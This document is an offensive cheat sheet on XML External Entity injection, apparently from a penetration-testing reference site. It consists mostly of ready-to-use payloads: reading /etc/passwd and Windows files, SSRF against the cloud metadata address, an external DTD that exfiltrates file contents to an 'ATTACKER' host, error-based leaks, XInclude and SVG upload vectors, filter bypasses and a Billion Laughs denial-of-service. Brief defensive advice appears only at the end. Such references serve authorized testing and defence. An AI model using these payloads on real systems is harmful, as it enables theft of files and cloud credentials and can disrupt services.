← All cheat sheets

🌶 XXE

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

XML External Entity injection: file read, SSRF, blind/out-of-band
exfiltration and denial of service. Authorized testing only.

  Any endpoint parsing XML: SOAP, SAML, RSS, DOCX/XLSX/SVG uploads,
  REST APIs accepting application/xml.

  Reflect an entity to confirm parsing:
    <?xml version="1.0"?>
    <!DOCTYPE r [<!ENTITY x "XXE-OK">]>
    <r>&x;</r>

    <?xml version="1.0"?>
    <!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <r>&xxe;</r>

    # Windows
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">

    # PHP wrapper to read source without breaking XML on special chars
    <!ENTITY xxe SYSTEM
      "php://filter/convert.base64-encode/resource=/etc/passwd">

    <!DOCTYPE r [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
    <r>&xxe;</r>
    # Reach internal services / cloud metadata through the XML parser.

  Host an external DTD (evil.dtd) on your server:
    <!ENTITY % file SYSTEM "file:///etc/hostname">
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
      'http://ATTACKER/?x=%file;'>">
    %eval;
    %exfil;

  Payload sent to target:
    <?xml version="1.0"?>
    <!DOCTYPE r [<!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd"> %dtd;]>
    <r>test</r>

  Error-based OOB (leak file via parser error message):
    # evil.dtd
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; err SYSTEM
      'file:///nonexistent/%file;'>">
    %eval;
    %err;

  When general entities are blocked, use parameter entities ( % ).
  UTF-16 / different encodings can bypass naive string filters:
    <?xml version="1.0" encoding="UTF-16"?>

    <foo xmlns:xi="http://www.w3.org/2001/XInclude">
      <xi:include parse="text" href="file:///etc/passwd"/>
    </foo>

    # SVG uploaded to an image processor
    <?xml version="1.0"?>
    <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <svg><text>&xxe;</text></svg>

    # DOCX/XLSX/PPTX are zip archives: inject into word/document.xml etc.

    # Billion Laughs (entity expansion) - test carefully, may impact target
    <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      ... ]>

  - Disable DTDs / external entities in the XML parser
    (FEATURE_SECURE_PROCESSING, disallow-doctype-decl).
  - Prefer JSON; validate/allowlist; patch legacy parsers.

  See also: SSRF-BYPASS, API-SECURITY, OWASP-TOP10.